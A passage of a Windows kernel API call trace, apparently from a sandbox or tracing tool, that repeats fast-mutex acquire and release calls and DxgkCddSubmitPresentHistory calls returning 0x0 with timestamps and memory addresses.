(FastMutex=0xffffe0000128f180) [0103.693] DxgkCddSubmitPresentHistory () returned 0x0 [0103.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.709] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.709] DxgkCddSubmitPresentHistory () returned 0x0 [0103.740] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.740] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.740] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.741] DxgkCddSubmitPresentHistory () returned 0x0 [0103.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.756] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.756] DxgkCddSubmitPresentHistory () returned 0x0 [0103.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.771] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.771] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.771] DxgkCddSubmitPresentHistory () returned 0x0 [0103.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.803] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.803] DxgkCddSubmitPresentHistory () returned 0x0 [0103.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.822] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.822] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.822] DxgkCddSubmitPresentHistory () returned 0x0 [0103.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.852] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.852] DxgkCddSubmitPresentHistory () returned 0x0 [0103.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.896] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.897] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.897] DxgkCddSubmitPresentHistory () returned 0x0 [0103.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.912] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.912] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.912] DxgkCddSubmitPresentHistory () returned 0x0 [0103.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0103.944] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0103.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0103.944] DxgkCddSubmitPresentHistory () returned 0x0 [0104.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.006] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.006] DxgkCddSubmitPresentHistory () returned 0x0 [0104.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.038] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.038] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.038] DxgkCddSubmitPresentHistory () returned 0x0 [0104.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.084] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.084] DxgkCddSubmitPresentHistory () returned 0x0 [0104.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.146] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.146] DxgkCddSubmitPresentHistory () returned 0x0 [0104.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.162] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.162] DxgkCddSubmitPresentHistory () returned 0x0 [0104.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.193] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.193] DxgkCddSubmitPresentHistory () returned 0x0 [0104.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.225] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.225] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.225] DxgkCddSubmitPresentHistory () returned 0x0 [0104.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.256] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.256] DxgkCddSubmitPresentHistory () returned 0x0 [0104.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.271] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.271] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.271] DxgkCddSubmitPresentHistory () returned 0x0 [0104.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.350] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.350] DxgkCddSubmitPresentHistory () returned 0x0 [0104.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0104.365] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0104.365] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0104.365] DxgkCddSubmitPresentHistory () returned 0x0 [0106.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.318] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0106.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.318] DxgkCddSubmitPresentHistory () returned 0x0 [0106.437] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.437] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0106.437] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.437] DxgkCddSubmitPresentHistory () returned 0x0 [0106.453] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.453] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0106.453] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.453] DxgkCddSubmitPresentHistory () returned 0x0 [0106.484] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.484] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0106.484] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.484] DxgkCddSubmitPresentHistory () returned 0x0 [0106.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.500] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0106.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.500] DxgkCddSubmitPresentHistory () returned 0x0 [0106.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.531] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0106.531] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.531] DxgkCddSubmitPresentHistory () returned 0x0 [0106.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0106.563] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0106.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0106.563] DxgkCddSubmitPresentHistory () returned 0x0 [0107.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.060] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0107.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.060] DxgkCddSubmitPresentHistory () returned 0x0 [0107.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.060] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0107.060] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.060] DxgkCddSubmitPresentHistory () returned 0x0 [0107.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0107.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.096] DxgkCddSubmitPresentHistory () returned 0x0 [0107.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.096] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0107.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.096] DxgkCddSubmitPresentHistory () returned 0x0 [0107.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0107.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.144] DxgkCddSubmitPresentHistory () returned 0x0 [0107.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0107.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.144] DxgkCddSubmitPresentHistory () returned 0x0 [0107.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.183] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0107.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.183] DxgkCddSubmitPresentHistory () returned 0x0 [0107.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.183] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0107.183] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.183] DxgkCddSubmitPresentHistory () returned 0x0 [0107.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.199] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0107.199] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.199] DxgkCddSubmitPresentHistory () returned 0x0 [0107.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.223] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0107.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0107.223] DxgkCddSubmitPresentHistory () returned 0x0 [0107.272] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.272] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0107.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.273] DxgkCddSubmitPresentHistory () returned 0x0 [0107.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0107.304] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0107.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0107.304] DxgkCddSubmitPresentHistory () returned 0x0 [0110.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.896] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0110.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.896] DxgkCddSubmitPresentHistory () returned 0x0 [0110.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0110.943] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0110.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0110.943] DxgkCddSubmitPresentHistory () returned 0x0 [0111.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0111.005] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0111.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0111.005] DxgkCddSubmitPresentHistory () returned 0x0 [0111.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0111.068] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0111.068] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0111.068] DxgkCddSubmitPresentHistory () returned 0x0 [0111.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0111.130] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0111.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0111.130] DxgkCddSubmitPresentHistory () returned 0x0 [0112.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0112.443] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0112.443] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0112.443] DxgkCddSubmitPresentHistory () returned 0x0 [0113.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.088] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.088] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.088] DxgkCddSubmitPresentHistory () returned 0x0 [0113.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.089] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000007fcda0) [0113.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.089] DxgkCddSubmitPresentHistory () returned 0x0 [0113.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.089] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.089] DxgkCddSubmitPresentHistory () returned 0x0 [0113.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.102] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.102] DxgkCddSubmitPresentHistory () returned 0x0 [0113.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.157] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.157] DxgkCddSubmitPresentHistory () returned 0x0 [0113.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.179] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000007fcda0) [0113.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.179] DxgkCddSubmitPresentHistory () returned 0x0 [0113.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.179] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.179] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.179] DxgkCddSubmitPresentHistory () returned 0x0 [0113.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.193] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.193] DxgkCddSubmitPresentHistory () returned 0x0 [0113.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.226] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.226] DxgkCddSubmitPresentHistory () returned 0x0 [0113.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.226] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000007fcda0) [0113.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.226] DxgkCddSubmitPresentHistory () returned 0x0 [0113.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.226] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.226] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.226] DxgkCddSubmitPresentHistory () returned 0x0 [0113.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.244] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.244] DxgkCddSubmitPresentHistory () returned 0x0 [0113.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.273] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000007fcda0) [0113.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.273] DxgkCddSubmitPresentHistory () returned 0x0 [0113.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.273] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.273] DxgkCddSubmitPresentHistory () returned 0x0 [0113.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.274] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.274] DxgkCddSubmitPresentHistory () returned 0x0 [0113.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.339] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.339] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.339] DxgkCddSubmitPresentHistory () returned 0x0 [0113.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.367] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000007fcda0) [0113.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.367] DxgkCddSubmitPresentHistory () returned 0x0 [0113.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.367] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.367] DxgkCddSubmitPresentHistory () returned 0x0 [0113.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.367] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.367] DxgkCddSubmitPresentHistory () returned 0x0 [0113.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.396] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000007fcda0) [0113.396] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000007fcda0) [0113.396] DxgkCddSubmitPresentHistory () returned 0x0 [0113.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.397] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.397] DxgkCddSubmitPresentHistory () returned 0x0 [0113.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.397] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.397] DxgkCddSubmitPresentHistory () returned 0x0 [0113.452] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.452] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.452] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.452] DxgkCddSubmitPresentHistory () returned 0x0 [0113.469] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.469] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.470] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.470] DxgkCddSubmitPresentHistory () returned 0x0 [0113.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.485] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.485] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.485] DxgkCddSubmitPresentHistory () returned 0x0 [0113.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.504] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.504] DxgkCddSubmitPresentHistory () returned 0x0 [0113.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.520] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.520] DxgkCddSubmitPresentHistory () returned 0x0 [0113.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.536] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.536] DxgkCddSubmitPresentHistory () returned 0x0 [0113.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.571] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.571] DxgkCddSubmitPresentHistory () returned 0x0 [0113.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.582] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.582] DxgkCddSubmitPresentHistory () returned 0x0 [0113.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.582] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.583] DxgkCddSubmitPresentHistory () returned 0x0 [0113.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.588] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0113.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.588] DxgkCddSubmitPresentHistory () returned 0x0 [0113.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.607] ExEnterCriticalRegionAndAcquireFastMutexUnsafe 